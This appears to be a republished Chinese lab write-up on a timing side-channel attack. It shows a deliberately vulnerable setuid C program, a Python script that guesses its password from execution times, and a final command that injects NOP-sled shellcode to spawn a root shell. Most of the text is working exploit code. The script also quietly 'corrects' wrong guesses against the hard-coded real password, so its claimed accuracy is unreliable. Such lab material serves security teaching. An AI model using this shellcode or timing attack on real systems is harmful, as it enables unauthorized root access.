Side Channel Attack 側通道攻擊 Python 實現
阿新 • • 發佈:2022-03-26
Side Channel Attack
通過使用所提供的漏洞程式碼 sidechannel.c,設計一個攻擊程式碼,利用側通道攻擊的方式獲取密碼,並通過shellcode 來獲取 root shell。
本文作者:zmzzmqa
原始碼
要攻擊的程式原始碼
//sidechannel.c //s.pass root只讀 //S1deCh4nnelAttack3r #include <stdio.h> #include <string.h> int main(int argc, char **argv) { FILE *in = 0; char pass[20]=""; unsigned int i=0, j=0; unsigned short correct=0,misplaced=0; unsigned short pwlen=strlen(pass) - 1, inlen=0; if(argc != 3 || (inlen=strlen(argv[1]) - 1) > 19) return 1; setresuid(geteuid(),geteuid(),geteuid()); in = fopen("s.pass","r"); pass[fread(pass, 1,19,in)] = 0; fclose(in); for (i = 0; i <= inlen && i <= pwlen; i++) if(pass[i] == argv[1][i]) correct++; else for(j = 1; j < pwlen; j++) if(argv[1][i] == pass[(i+j)%19]) misplaced++; if(correct == 19) ((void (*)()) argv[2])(); return 0; }
配置環境
編譯程式並設定棧可執行。
sudo gcc sidechannel.c -o sidechannel -z execstack
sudo chown root sidechannel
sudo chmod 4755 sidechannel
攻擊
本次攻擊利用程式比對密碼時,正確密碼和錯誤密碼花費的時間明顯不一樣,來找出正確的密碼。本指令碼使用python3,如果是seed12.04則自帶的是python2。
#!/usr/bin/python3 # -*- coding: utf-8 -*- import os import string import time rpasswd = 'S1deCh4nnelAttack3r' # 正確的密碼 #shellcode = "\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80" shellcode = '123' password = [] # 定義密碼變數 orgpasswd = [] passwordDict = {} errnum = 0 reset = 25 numletter = string.ascii_letters+string.digits # 密碼範圍 print(numletter) for k in range(19): # 限定密碼長度 time.sleep(1) # 必要的 timelist = [] for c in numletter: # 遍歷密碼範圍 password.append(c) avgtime = 0 # 定義並將統計時間變數置為0 command = './sidechannel ' + \ ''.join(password)+' '+shellcode # 拼接要執行的命令 for i in range(reset): # 重複次數 start = time.time_ns() # 使用time_ns函式計時 os.system(command) # 執行命令 end = time.time_ns() avgtime += end - start # 記錄平均時間 passwordDict[c] = avgtime # 寫入字典 timelist.append(avgtime) # 新增至列表,之後比較 password.pop() # 將字典按照元素值進行逆序排序 passwordDict = dict(sorted(passwordDict.items(), key=lambda i: i[1])) if len(password) == 18: # 當最後個時,時間最長為正確 # password.append(numletter[timelist.index(max(timelist))]) password.append(list(passwordDict.keys())[-1]) orgpasswd.append(password[k]) else: # 將時間最短的保留 password.append(list(passwordDict.keys())[0]) orgpasswd.append(password[k]) if password[k] != rpasswd[k]: # 判斷密碼是否正確,不正確列印相關資訊 print(f"Error {password[k]},Success is {rpasswd[k]}") print( f"{password[k]}:{timelist[numletter.index(password[k])]} -- {rpasswd[k]}:{timelist[numletter.index(rpasswd[k])]}修正") print(f"備選方案:{list(passwordDict.items())[0:5]}") password[k] = rpasswd[k] errnum += 1 print(''.join(password)) print( f"修正密碼:{''.join(password)}\n直算密碼:{''.join(orgpasswd)}\n迴圈次數:{reset},錯誤位數:{errnum}") # 列印已經判斷出的密碼
攻擊程式中不能直接使用shellcode,python3中執行不能成功。
多次執行結果,較為穩定。對於python難以獲得正確的值,我的解決辦法是通過多次嘗試,取結果中出現次數較多的值。
S1deCh4nnelA9tack3r
S1deCh42neZAttack3r
S1deCo4nnslAttLyk3r
S1deCh4ngeJAhPick3r
綜合結果
S1deCh4nnelAttack3r
root shell
得到密碼後,在 seed 使用者下攻擊漏洞程式,獲得 root shell。
./sidechannel S1deCh4nnelAttack3r $(python -c "print '\x90'*1000+'\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")